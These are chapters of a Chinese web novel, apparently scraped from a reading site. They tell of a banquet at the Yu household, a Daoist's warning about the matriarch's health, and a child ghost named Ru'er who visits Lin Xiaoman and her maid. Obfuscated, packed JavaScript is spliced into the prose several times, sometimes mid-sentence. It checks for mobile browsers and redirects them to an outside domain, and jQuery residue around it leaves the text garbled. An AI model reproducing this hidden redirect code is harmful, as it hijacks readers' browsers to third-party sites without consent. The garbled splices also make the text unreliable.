俞知安嘿嘿一笑,成功地将一场即将升级的口舌之争化解于无形。 只是他垂下眼眸时,眼底飞快地掠过一丝冷意,这二房,是越来越不安分了。 周围人听着俞知安这番俏皮话,都跟着笑了起来,方才那点针锋相对的**味便在笑声中悄然散去,话题也被顺势扯到了别处。 一旁的林小满只是安静地用着面前的菜肴,仿佛周遭的暗流涌动都与她无关,心里却不由得嘀咕: 这大家族里的人情往来,真是一出接一出的戏码,片刻不得消停。还好自己是林府的姑娘,爹娘恩爱,姐妹和睦,没什么乱七八糟的争斗。 这要是生在俞府这般复杂的人家,整日里勾心斗角,怕是早就心力交瘁了。 这二夫人正是钻了牛角尖,那俞知安是老太君的孙子,难道她生的俞知平就不是了吗? 俞知平还是俞府正儿八经的长孙呢!凭什么在老太君眼里,做什么似乎都比那跳脱的俞知安低上一头? 二夫人越想越觉得憋屈,心底那点阴暗的心思忍不住翻涌起来: 也不知道当初老大家的是吃了什么灵丹妙药,都那般年纪了,竟还能老蚌生珠,生出个儿子来! 若非如此,她的知平就是俞府唯一的孙辈,所有的关注、所有的资源,还不全都紧着他们二房? 何至于像现在这样,处处要被大房压上一头,连带着她儿子也要活在那俞知安的光彩之下? 就照老太君如今这心都偏到胳肢窝的劲儿,往后这俞府里有什么好东西,还不全都得落到老大家的手里?她和她儿子,难道就只能捡些人家挑剩下的不成? 这股邪火在她心里越烧越旺,偏偏面上还要维持着端庄得体的笑容,只觉得胸口堵得厉害,连带着眼前的珍馐美味也失了味道。 …… 整场寿宴下来,表面上看倒也算得上是宾主尽欢,其乐融融。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539808|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一直到宴席结束,宾客们陆陆续续告辞离去,喧闹的俞府渐渐安静下来。 沈清秋带着林小满和林知鸳却并未立刻离开,明面上是老太君舍不得她们,拉着她们多说会儿话,实际上沈清秋心中记挂着义母的身体,也确实想寻个机会私下里问个清楚。 此时,她们都在老太君卧房旁边的暖阁里,除了沈清秋母女三人,便只有俞家大房的大爷俞洪明、大夫人以及二房的二爷俞洪亮和二夫人这四位俞府的主人在场。 丫鬟们上了茶点后便被屏退了。沈清秋见没了外人,便也不再迂回,脸上带着真切的关系,看向俞洪明,率先开口问道: “洪明大哥,这里没有外人,您跟我们交个底,义母的身体到底是怎么回事?先前听义母提了一句,说是前些日子身子不爽利,请了位大师看了,才将寿宴提前的?具体是个什么情形?” 俞洪明闻言,与身旁的大夫人对视一眼,轻轻叹了口气,眉头微锁,神色间带着几分凝重和无奈。 他沉吟片刻,这才缓缓开口解释道: “清秋妹妹既然问起,我也不瞒你们。母亲原本的寿辰确实是在下个月。但自去年冬天开始,母亲的身子骨就时好时坏,精神头也大不如前。 夜里时常惊醒,多梦,请了城中不少名医来看,汤药吃了不少,却总不见根本好转,只说是年纪大了,心神耗损,需得好生静养。” 他顿了顿,继续道: “前些时日,我奉旨去南边办差,回程时想着离母亲居住的庄子不远,便顺道去接她老人家回京,也好方便照料。 谁知到了那边才发现,母亲的身子比信中说的还要差些,气色很不好,人也恹恹的。我们正忧心忡忡之际,庄子上忽然来了个游方的道士,自称略通岐黄之术,能观气望运。 他见了母亲,便断言母亲并非寻常病症,而是……而是沾染了不干净的东西,损了元气,以致魂魄不安,阳寿有碍。” 第一百九十三章 故弄玄虚的把戏 俞洪明说到这里,语气中也带了几分不确定和困惑: “那道士说,需得做法事驱邪,并且要借一桩大喜事来冲散阴霾,提振阳气。 其中最关键的一件,便是需得在一个最近的吉日,将母亲的寿辰提前办了,借这八方来贺的喜庆福气,方能化解此劫,转危为安。” 他抬眼看向沈清秋,又扫了一眼在场的其他人,眉头皱得更紧: “我听了也觉得此事颇为蹊跷,甚至有些荒诞。若真是邪祟作梗,岂是提前过个生辰就能解决的? 但……当时母亲状况确实不佳,那道士言之凿凿,又说此举即便无效,对母亲也无害处。 我们几经商议,见母亲自己也同意了,抱着宁可信其有、不可信其无的想法,这才仓促将寿宴定在了今日。” 沈清秋心中的疑虑并未消除,反而更深了。 游方道士?邪祟缠身?这听起来,怎么比单纯的“冲喜”更让人不安了? 她的目光不由自主地再次投向了安**在一旁的林小满。 林小满正欲开口说些什么,窗外天空骤然划过一道刺目的闪电。 紧接着“轰隆”一声巨响,一个炸雷仿佛就在屋顶劈开,震得窗棂都在嗡嗡作响,暖阁内的几人都被这突如其来的惊雷吓得心头一跳。 那二夫人更是夸张地拍了拍胸口,惊魂未定地嘟囔道: “哎哟喂!这鬼天气,方才还晴空**的,怎么突然间就打这么大的雷?吓死个人了!” 她话音刚落,豆大的雨点便噼里啪啦地砸落下来,瞬间连成一片雨幕,窗外景物都模糊起来。 俞大夫人定了定神,看着这倾盆而下的大雨,转而笑着对刚才也被惊雷吓了一跳的老太君安慰道: “母亲您看,这真是好福气啊!前面宴席时一直是大晴天,宾客们往来便宜,这会儿宾客们都安然回去了,天才降下甘霖。 这正应了那句老话,‘雨打寿星堂,福泽万年长’!这是老天爷都在为母亲贺寿,预示着咱们俞府往后风调雨顺,福泽绵长呢!” 她这番巧言宽慰,果然让老太君脸上重新露出了笑意,连连点头:“你这张嘴啊,就是会说话。” 那二夫人一听大夫人又抢了先,三言两语就把坏事说成了好事,还讨了老太君欢心,脸上立刻浮现出微妙的不忿表情,在心里暗暗“切”了一声,翻了个白眼。 她也不甘落后,正想挤上前也说几句吉祥话,好歹分点关注。 就在这时,外间突然传来一声凄厉的尖叫,夹杂在哗啦啦的雨声中,显得格外清晰骇人! “啊——!” 暖阁内的众人皆是一惊,方才那点轻松气氛瞬间荡然无存。 俞洪明脸色一沉,立刻扬声道:“俞福!外面发生了何事?速去查看!” 门外候着的管家俞福连忙应了一声“是”,脚步声匆匆远去。 几人留在暖阁内,面面相觑,心中都升起一股不安,焦急地等待着消息。 沈清秋本想着趁此机会让林小满给老太君仔细瞧瞧,被这突发事件一打岔,眼见大家都心不在焉、惊疑不定,倒也不好立刻开口了。 然而,老太君却像是看穿了沈清秋心中的想法和担忧,她定了定神,目光越过正在低声议论的儿子儿媳,直接落在了林小满身上,语气带着几分探究和不易察觉的希冀: “清秋,这么大的雨,你们一时半会儿恐怕也不方便回去。正好,这些日子我在京中,也隐约听到些风声,听人说……小满这孩子,似乎懂些玄学之术,能处理些……寻常大夫看不出的疑难杂症?这可是真的?” 那二夫人本就因方才之事心头憋着火,又见老太君如此看重林小满,立刻阴阳怪气地插嘴道: “玄学之术?哼,说得那般玄乎,谁知道是真是假?别是些装神弄鬼、故弄玄虚的把戏吧?这年头,招摇撞骗的人可多了去了,母亲您可要仔细分辨,莫要被些虚名蒙蔽了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539809|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她话音未落,老太君一个凌厉的眼神便扫了过去,语气带着不容置疑的威严: “老二媳妇儿,你要是身子乏了,或是觉得这里闷得慌,大可早些回你自己院里歇着去,没人强求你非要留在这里听这些!” 俞家老二俞洪亮见母亲动怒,赶紧起身打圆场,陪着笑脸道: “母亲息怒,母亲息怒!您儿媳妇她就是这直来直去的脾气,您还不知道吗?她也是有口无心,绝没有坏心的,就是……就是担心母亲您被人蒙蔽罢了。” 他说着,暗中扯了扯二夫人的衣袖。 二夫人被老太君那一眼看得心里一哆嗦,也知道自己情急之下说错了话,触了霉头,连忙顺着丈夫的话头,挤出一丝笑容,低声下气地认错: “是儿媳失言了,母亲莫怪。儿媳也是关心则乱,绝无他意。” 老太君冷哼一声,并未理会他们二人的唱和,而是再次将目光转向沈清秋,语气缓和了许多: “清秋,你来说说。” 沈清秋脸上带着得体的微笑,既不过分谦卑也不张扬,柔声道: “义母,您过誉了。小满这孩子不过是机缘巧合下,跟着一位隐世的老师傅学过几天,略懂些皮**罢了,当不得什么大本事。都是外面的人以讹传讹,夸大了些。” 一旁的俞大夫人见状,心思一转,立刻笑着接话道: “哦?是吗?既然小满有这等本事,又是自家人,信得过。不如……就请小满给咱们老太君也瞧瞧?看看是否真如那游方道士所言,或是另有玄机?母亲,您觉得呢?” 老太君本就存了这份心思,闻言便顺水推舟地点了点头,目光温和地看向林小满: “既然如此,小满,那便有劳你给外祖母瞧瞧了。你放心,无论看出什么,直说无妨。” 林小满这才从容地站起身,走到老太君面前。 她并未像寻常大夫那般望闻问切,只是目光沉静地仔细端详了老太君片刻。 第一百九十四章 光着脚丫的小女孩 尤其在她眉宇间和周身气息上停留稍久,随后便微微福身,语气平稳地说道: “外祖母福泽深厚,根基稳固,虽近期略有小恙,扰了心神,致使夜寐不安,精神短乏,但并无大碍,更非什么邪祟缠身、损及阳寿之相。 只需好生静养,放宽心怀,辅以安神定志的汤药调理,不日便可康复。往后也会身体康健,平安顺遂。” 老太君一听林小满这番话,说她并非邪祟缠身,只是寻常小恙,只需静养调理即可,而且往后也会身体康健,平安顺遂,紧绷的心弦顿时一松,脸上露出了真切而轻松的笑容,连连点头道: “好,好!听小满你这么一说,外祖母这心里可就踏实多了!看来那游方道士果然是危言耸听,还是咱们小满看得明白!” 林小微微颔首,又补充道:“外祖母平日若得闲,可于辰时之后、午时之前,在庭院中**片刻,晒晒太阳。 日光为至阳之气,温和照耀,有助于驱散体内滞留的阴寒湿气,更能安神定魄,于您身子大有裨益。” 老太君听得认真,慈爱地应道:“好好好,外祖母记下了,日后定当多晒晒太阳。” 就在这时,管家俞福带着一身湿气匆匆回来了,他在门口恭敬地回禀道: “回老太君、各位老爷夫人,方才查明了,是后院靠近库房的一处耳房屋顶年久,瓦片被这急雨冲落了几块,漏雨严重。 一个负责杂役的小厮冒雨上去检修,脚下打滑,不慎从梯子上摔了下来,扭伤了脚踝,胳膊也有些擦伤,并无性命之忧。老奴已命人将他抬去厢房,府医也已经赶过去诊治了。” 老太君听闻是下人因修缮房屋而受伤,脸上露出慈悲之色,轻轻叹了口气,吩咐道: “人没事就好。既然是因公受伤,要好生给他医治,用的药都挑好的,莫要吝啬。再从他的月钱外,额外赏他二两银子,让他安心养伤,这个月的重活累活都别派给他了。” “是,老太君仁善,老奴这就去办。”俞福恭敬应下,转身退出去安排。 老太君处理完这下人受伤的插曲,目光再次落回林小满身上时,愈发显得温和信赖。 经过方才这一番对答,她对这位初次见面的外孙女,已然刮目相看,心中那份因游方道士之言而产生的隐忧,也消散了大半。 明明只是一个年纪轻轻的姑娘家,说的话也并非什么惊世骇俗之语,可俞老太君看着林小满那沉静如水的眼眸。 听着她笃定平稳的语气,心中就是没来由地生出一股莫名的信任与安心,仿佛她的话自带一种让人信服的力量。 “哎呀,母亲您快看!”俞大夫人忽然指着窗外,语气带着惊喜, “这雨下得急,收得也快!方才还瓢泼似的,这一下子说停就停了,太阳竟又出来了!” 俞老太君闻言抬头向窗外望去,果然,方才还密集如帘的雨幕已然消失无踪,天空像是被水洗过一般湛蓝澄澈,明亮的阳光重新洒落下来,带着雨后特有的清新气息。 她心情舒畅,在大夫人和二夫人一左一右的搀扶下站起身,走到门口。 只见庭院中被雨水冲刷过的草木格外青翠欲滴,空气清新湿润,而更令人惊喜的是,在东边的天际,赫然悬挂着一道绚丽的彩虹,七彩斑斓,如同架在空中的一座瑰丽桥梁。 “彩虹!是彩虹!”林知鸳也忍不住轻声惊呼,脸上露出欣喜的笑容。 俞洪明和俞洪亮兄弟二人见到此情此景,立刻顺势撩袍跪了下来,齐声贺道: “天现祥瑞,彩虹架桥!此乃大吉之兆!儿子/孩儿恭祝母亲福如东海长流水,寿比南山不老松!愿母亲身体康健,笑口常开,我俞府家宅安宁,福运绵长!” 沈清秋见状,也连忙拉着林小满和林知鸳一同向老太君行礼,笑吟吟地说道: “义母您看,连老天爷都这般眷顾,降下如此吉兆!女儿、外孙女也祝您老人家松鹤长春,春秋不老,日后日日都如今日这般,祥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542078|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞环绕,喜乐安康!” 雨后初霁,阳光灿烂,彩虹当空,再加上儿孙辈们真挚的祝福,俞老太君只觉得心中最后一丝阴霾也被这眼前的景象和暖意驱散,脸上绽开了无比欣慰和愉悦的笑容,连声道: “好,好!都是好孩子,快起来,都快起来!” 俞老太君心中畅快,又留着沈清秋母女三人说了许久的话,硬是早早地用了晚膳,直到太阳西斜,天色将晚,才依依不舍地放她们回府。 沈清秋带着林知鸳和林小满,由俞府的丫鬟引着,走在通往府门的回廊上。 行至一处院落附近,恰好遇见几个下人正架着梯子,手忙脚乱地修补着午后被雨水冲坏的屋顶瓦片。 引路的丫鬟见状,立刻侧身示意,轻声说道:“夫人,两位小姐,这边请,小心些。那边正在修缮,恐有不便。” 林知鸳停下脚步,看着那高高的梯子和散落的瓦片,想起午后的那场意外,不由问道: “方才摔伤的那位小哥,便是在这里出的事?” 那丫鬟点了点头,语气带着几分同情:“回小姐的话,正是此处。那小子也是不小心,好在老太君仁善,已让府医好生照料了。” 沈清秋闻言,轻轻叹了口气:“也是个可怜见的,只盼着他早日康复才好。” 林小满的目光却并未停留在那些忙碌的仆人身上,她的视线越过他们,落在了回廊另一侧的阴影里。 那里站着一个身着鹅黄色襦裙的小女孩,梳着双丫髻,看起来约莫**岁的年纪,面容苍白,身形有些模糊。 林小满的眉头几不可察地微微蹙起。 那小女孩似乎察觉到了她的注视,缓缓转过头来,恰好与林小满的视线对上。 她怀里紧紧抱着一个看不清模样的、破旧的布玩偶,赤着一双小脚,踩在冰凉的地面上。 在周围仆役们嘈杂的声响中,那小女孩却朝着林小满她们的方向,一步一步,悄无声息地走了过来。 第一百九十五章 你不怕我吗? 一个正从下方筐子里拿起瓦片、准备递给上方同伴的仆人,竟毫无阻碍地径直穿过了那小女孩半透明的身体,仿佛她只是一团虚无的空气。 小女孩对这一切恍若未觉,她走到一定距离便停了下来,仰起苍白的小脸,对着林小满忽然咧开嘴,露出了一个极其突兀的笑容。 她的嘴唇一开一合,在无声地说着什么。 “小满?”林知鸳察觉到林小满脚步停滞,目光定定地望着空无一人的回廊一侧,神色有异,不禁轻声唤了她一句。 林小满收回目光,敛去眼底的异色,面色恢复如常,平静地道:“没事。走吧。” “嗯,好。”林知鸳虽觉有些奇怪,但见妹妹不愿多说,便也按下疑问,跟着母亲和引路丫鬟继续向前走去。 夜色渐深,林府内一片宁静。 林小满沐浴完毕,换上了一身舒适的寝衣,湿漉漉的长发披散在身后。 小花拿着干爽的布巾,站在她身后,正仔细地帮她绞干发梢的水滴。 两人坐在林小满闺房内临窗的软榻上,有一搭没一搭地说着闲话,多是关于今日俞府寿宴上的见闻。 小花一边动作轻柔地梳理着林小满如墨的长发,一边笑着说道: “小满,今日那俞家二夫人可真是不消停,眼珠子都快瞪出来了,好在老太君是明事理的……” 她话音未落,手上的动作却微微一顿,身体不易察觉地绷紧了些许。 她下意识地凑近林小满,声音压低了几分,带着一丝不易察觉的紧张: “小满……你有没有感觉……好像有一股特别、特别……让人发毛的视线在盯着我们?” 那种感觉如芒在背,冰冷而黏腻,仿佛暗处有什么东西正悄无声息地窥视着这方温暖的天地,让人心底无端地升起一股寒意。 林小满端坐在榻上,神色未变,连眼睫都未曾颤动一下,只是淡淡地“嗯”了一声,语气平静无波: “感觉到了。” 她顿了顿,补充道,声音里听不出什么情绪,却带着一种笃定的冷意:“那视线,让人心里很是不适。” 房间内的烛火毫无征兆地猛地摇曳了一下,骤然熄灭,陷入一片短暂的黑暗。 就在小花准备要去重新点燃的瞬间,烛火又“噗”地一声自行燃起,恢复了光亮。 就在这明灭之间,一个穿着鹅黄色襦裙、梳着双丫髻的小姑娘,已然悄无声息地站在了软榻前,距离她们不过几步之遥。 她怀里依旧紧紧抱着那个破旧的布玩偶,赤着的小脚仿佛实体般虚浮在地板上。 她仰着那张过分苍白的小脸,一双空洞的大眼睛直勾勾地盯着林小满,嘴角咧开一个诡异的弧度,露出了里面显得有些血红的牙齿,声音带着一种空灵的、非人的质感: “姐姐,你能看见我。” 林小满:“……” 她依旧端坐着,面无表情地看着眼前的小鬼魂。 这时出现在林小满房间的这个小姑娘,正是白日里在俞府回廊上遇见的那个。 当时她嘴唇一张一合,无声诉说的,正是这句——“你可以看见我。” 与林小满的平静截然不同,小花看着这突然出现的鬼魂,整个人立刻兴奋了起来,眼睛都亮了几分。 她“噌”地站起身,围着那个小女孩的魂魄转了一个圈,仔仔细细地打量着,然后蹲下身子,视线与小女孩齐平,连珠炮似的问道: “哎?你是从哪里来的?你是**的呀?是被人杀死的?还是饿死的?还是不小心摔死的呀?” 她的目光落在小女孩襦裙上几处不明显的、颜色略深的污渍上,歪了歪头, “咦?你身上怎么好像……沾着点血气?真奇怪,你已经**有些年头了吧?为什么不去投胎呢?留在阳间多没意思啊!” 小花说着说着,自己先诧异起来,又凑近了些,几乎要贴到小女孩脸上,语气充满了不解: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542079|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不会吧?一般来说,只有执念深重、前尘未了的魂魄才会强行留在世间。就你这样的小屁孩,你能有什么了不得的前尘未了?难不成是舍不得你的布娃娃?” 那小女孩似乎也是第一次遇见不仅能看见自己,还如此……活泼聒噪不怕自己的人。 她看着眼前围着自己打转、问题不断的小花,空洞的眼睛里难得地浮现出一丝类似于“茫然”的情绪,若她还有心跳,大概会觉得是自己遇见了疯子。 她往前飘了一步,直接无视了还在喋喋不休的小花,仰头看向始终**不语的林小满,带着几分困惑和认真问道: “姐姐,你这个丫鬟……她脑子是不是被门夹过呀?” “喂!你这话什么意思!你才被门夹过呢!”小花一听,立刻不干了,眼疾手快地一伸手,竟精准地掐住了小女孩的后脖颈,像提小猫似的把她给提溜了起来! 那小女孩猝不及防,整个魂都懵了!她似乎完全没想到小花不仅能看见她、不怕她,居然还能实实在在地触碰到她这个灵体! 短暂的呆滞后,一股被冒犯的恼怒涌上心头,她立刻龇牙咧嘴,原本苍白的小脸瞬间变得青黑。 嘴角裂到耳根,露出森森利齿和血红的喉咙,发出一声尖锐的嘶啸,试图用最恐怖的样子吓退这个不知天高地厚的丫头。 谁知小花非但没被吓到,反而提溜着她晃了晃,开始一本正经地“教育”起来: “哎呀呀!你说你,小小年纪,当个鬼怎么还这么不学好?学人家龇牙咧嘴吓唬人?这模样丑**!一点都不可爱! 当鬼也要讲究个鬼德知道吗?吓到小朋友怎么办?就算吓不到小朋友,吓到花花草草也是不对的!你看看你,**都不安生,留在阳间多辛苦,早点去投胎找个好人家重新开始多好,非要在这里扮丑吓人……” 小花絮絮叨叨,从鬼德讲到投胎的重要性,又从审美讲到和谐社会,直说得那小女孩从一开始的愤怒挣扎。 第一百九十六章 一人一鬼的八卦 到后来的生无可恋,最后干脆放弃了狰狞的表情,恢复成原本苍白的样子,两只小手捂住耳朵,带着哭腔喊道: “别说了别说了!你好烦啊!能不能别说了!” “嘿!我好心好意开导你,教你做个好鬼,你竟然还嫌我烦?哼!气死我了!” 小花见她这副模样,更是气不打一处来,觉得自己的“鬼生教育”受到了轻视,当即松开了手。 那小女孩“噗通”一声,一屁股摔在了地上。 她瘪着嘴巴,眼眶红红,委委屈屈地从地上爬起来,抱着她那破旧的布娃娃,缩到墙角,离小花远远的。 用一种混合着恐惧、委屈和“遇见疯子了”的眼神警惕地盯着小花。 林小满看了一眼还在跟小鬼置气的小花,无奈地摇了摇头,淡淡道:“行了行了,玩玩就行了。” 小花这才悻悻地“切”了一声,坐回林小满身边,嘟囔道:“没意思,这小鬼一点都不可爱。” 林小满的目光再次落在那缩在墙角的小女孩身上。 她能感觉到,这小女孩滞留人间多年未曾前往地府投胎,身上确实缠绕着一股不弱的执念。 只是那执念具体为何,林小满一时也未能立刻看透,她也懒得费神去深究。 主仆二人便又将那小女孩晾在了一边,自顾自地继续聊起了天。 小花的话题依旧是围绕着俞府打转,她用手肘碰了碰林小满,挤眉弄眼地压低声音,问出了更加离谱的问题: “唉,小满,你说那俞府的公子知安,真是大房老爷夫人老来得子?真的假的?他们俩年纪都那么大了,还……还睡一个被窝啊? 天哪,他们不会觉得对方有口气吗?不会觉得彼此身上有股子老年气吗?小满,你说……那大房夫妻俩,现在还会不会亲嘴儿啊?” 林小满:“……” 她彻底无语了,额角似乎有青筋跳了跳。 她深深地觉得,自己就不该跟小花聊这些世家八卦,这丫头脑子里整天想的都是些什么鬼问题?! 就在林小满准备让小花闭嘴去睡觉时,那个缩在墙角、抱着布娃娃的小女孩,倒是又慢吞吞地挪了过来。 小心翼翼地凑到小花身边,仰着小脸,带着点怯生生又有点想加入话题的意味,小声说道:“我……我知道。” 小女孩似乎也想明白了,眼前这两个人能看见自己、不怕自己。 甚至那个聒噪的丫鬟还能实实在在地触碰到自己,怎么可能是普通人? 那个叫小花的,恐怕也不是一般的人类。 “嗯?你知道?”小花好整以暇地看向那小女孩,来了兴致,但随即又摆了摆手, “等等,你先告诉我你叫什么名字?我不喜欢跟没有名字的人说话。” 小女孩犹豫了一下,小声回答:“我……我叫茹儿。” “噢,茹儿,行吧。”小花点了点头,一副“我批准你说话了”的样子, “那你跟我说说看,你知道些什么?” 茹儿见小花愿意听自己说,似乎也放松了一些,她抱着布娃娃,用一种带着孩童特有的、叙述遥远故事般的语气说道: “俞家大老爷和大夫人,他们感情一直很好的。我……我还在的时候,就听府里的老人说过,他们是年少相识,是真正的青梅竹马呢! 大夫人年轻时是京城里有名的才女,大老爷为了求娶她,可是费了好大一番功夫。” 她顿了顿,似乎在回忆: “他们成亲后没多久就生了一位小姐,就是现在的那位俞大小姐。后来……过了很多很多年,大家都以为他们不会再有了的时候,大夫人竟然又怀上了! 就是现在的知安少爷。知安少爷出生的时候,可把大老爷高兴坏了,大摆筵席,整个俞府都热闹了好久呢!” 茹儿说起这些陈年旧事,苍白的脸上似乎也多了点生气: “知安少爷从小就调皮,三岁就能爬树掏鸟窝,五岁就敢偷偷溜出府去街上玩,六岁那年还把二老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551691|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷最宝贝的一盆兰花给拔了,说是要种狗尾巴草…… 大老爷和大夫人宠他宠得不得了,从来舍不得重罚,顶多就是关关禁闭,可每次没关多久,不是大老爷心软,就是大夫人求情,就给放出来了。 所以啊,知安少爷就被养成了现在这天不怕地不怕、活泼跳脱的性子。” 小花听完茹儿关于俞知安的“光辉事迹”,立刻拍着大腿哈哈大笑起来: “哈哈哈!拔了二老爷的兰花种狗尾巴草?这小子可真是个人才!我喜欢!哈哈哈!” 她笑够了,又惊又喜地看向茹儿,忍不住伸出“魔爪”揉了揉茹儿冰凉的小脸蛋: “没想到啊没想到,你这小丫头知道得还挺多嘛!快,赶紧再跟我说说,俞府还有什么有意思的事儿?比如……那个眼睛长在头顶上的二夫人?” 一说起这些陈年秘辛,茹儿整个人好像也活泛了起来,不再像之前那样怯生生阴郁郁的。 她似乎也很久没人听她说话了,小脑袋点了点,带着点分享秘密的兴奋感: “还有好多呢!我还知道俞府的二夫人是怎么嫁给二老爷的!” 她压低了声音,虽然鬼魂的声音本就飘忽: “我听以前的老人说,二老爷年轻的时候,本来有一个两情相悦的表妹,感情可好了,都快要谈婚论嫁了。 结果现在的二夫人,那时候还是吏部侍郎家的小姐,在一次花宴上对二老爷一见钟情,非他不嫁!” 茹儿撇了撇嘴,带着点不屑:“可她家里当时官位比俞家高,她爹娘又宠她,她就用了些不光彩的手段……好像是设计让二老爷和那位表妹产生了误会,又趁机…… 嗯,反正就是让二老爷不得不对她负责,最后只好娶了她。” “虽说后来二夫人生下了大公子知平,但二老爷心里一直膈应着这事儿,根本就不喜欢她,对她一直很冷淡。 二老爷真正喜欢的,是后院的柳姨娘!”茹儿说到柳姨娘,语气都轻快了些。 第一百九十七章 找娘亲的小蝌蚪 “柳姨娘是长公主殿下早年送给二老爷的,人长得美,性子也温柔,从不争抢。二老爷可喜欢她了,经常去她院里。 柳姨娘还给二老爷生了个女儿,就是……就是今天对你们翻白眼那个俞嘉柔小姐。” 小花听得眼睛发亮,啧啧称奇:“我的乖乖!还有这么一出呢!难怪那二夫人整天阴阳怪气的,原来是不得夫君喜爱,心里憋着火呢!活该!” 小花正听得津津有味,一回头,却发现茹儿不知何时又换上了那副怯生生、可怜巴巴的表情,大眼睛水汪汪地望着自己和林小满。 小花被她这眼神看得莫名其妙,双手叉腰,说道: “哎,你干嘛又用这副表情看着我们?怪可怜的,看着好像我和小满怎么欺负了你似的!刚才不还聊得好好的吗?八卦讲得挺起劲啊!” 茹儿抱着她的破布娃娃,小脚丫不安地互相蹭了蹭,声音细若蚊蝇,带着点期盼和忐忑: “我……我可不可以……和你们一起睡啊?” 林小满:“……” 小花:“……” 二人对视一眼,都从对方眼中看到了同样的无语和“你在开什么玩笑”的意味。 短暂的沉默后,小花率先炸毛了,她指着茹儿,又指了指自己和林小满,语气夸张地说道: “不是!咱仨熟吗?啊?我们除了刚才一起八卦了一下俞府的陈芝麻烂谷子之外,我们认识吗?我们很熟吗?我们有什么交情吗?你就要跟我们一起睡?! 你一个小姑娘家家的,怎么一点都不知羞啊!随便就要跟陌生人睡一个屋?哦不对,是陌生鬼要跟陌生人睡!这像话吗?!” 林小满在一旁听着,虽然没说话,但立刻用力地点了点头,表示自己完全赞成小花的话,眼神里写满了“不熟,勿扰”。 茹儿被小花这一连串质问说得缩了缩脖子,抱着娃娃的手更紧了,小声辩解道: “我……我一个人……不,一个鬼……在俞府飘荡了好久,好久没人跟我说话了……也没人看得见我……我……我害怕……” 小花翻了个白眼,丝毫不为所动:“你一个鬼你怕什么?该怕的是那些活人才对!再说了,我们这里庙小,容不下你这尊……小鬼。赶紧回你的俞府墙角蹲着去!” 林小满也终于开口,声音清冷,带着不容商量的意味:“不方便。” 茹儿看着态度坚决的两人,瘪了瘪嘴,大眼睛里的光黯淡了下去,抱着她的破娃娃,慢吞吞地、一步三回头地往墙角阴影里缩,那背影看着倒是真有几分孤零零的可怜劲儿。 茹儿一步三回头,发现林小满和小花压根没看她,两人又自顾自笑嘻嘻地聊起了别的话题,仿佛她这个可怜的小鬼魂根本不存在一样。 她顿时觉得委屈极了,大颗大颗眼泪像断了线的珠子往下掉,猛地冲过去,带着哭腔喊道: “那……那你们收留收留我嘛,好不好?我不跟你们一起睡,我就站在外面给你们守门,行吗?” “不行。”林小满头也没抬,直接拒绝,语气没有半分转圜余地。 小花也跟着帮腔,叉着腰,一脸“你这小鬼怎么这么缠人”的表情: “就是!你为什么非得赖着我们呢?天底下那么多人,你想去跟谁睡都可以啊!反正别人也看不到你,你就算钻进皇帝的被窝里,皇帝也不知道!多自由!多潇洒!” 茹儿抽抽噎噎地说:“我……我觉得你们是好人……我觉得……你们可以帮我……” 小花一听,更来气了,觉得这小鬼逻辑感人: “那你就直接说你需要我们帮你什么不就完了吗?非得跟我们一起睡,真的是……绕这么大圈子!” “哦。”茹儿原本黯淡绝望的眼神突然顿住,好像被这句话点醒了,茫然中又透出一丝恍然的光。 对哦,其实也不一定非得缠着她们、跟她们睡在一起才能求助啊,可以直接请她们帮忙的呀 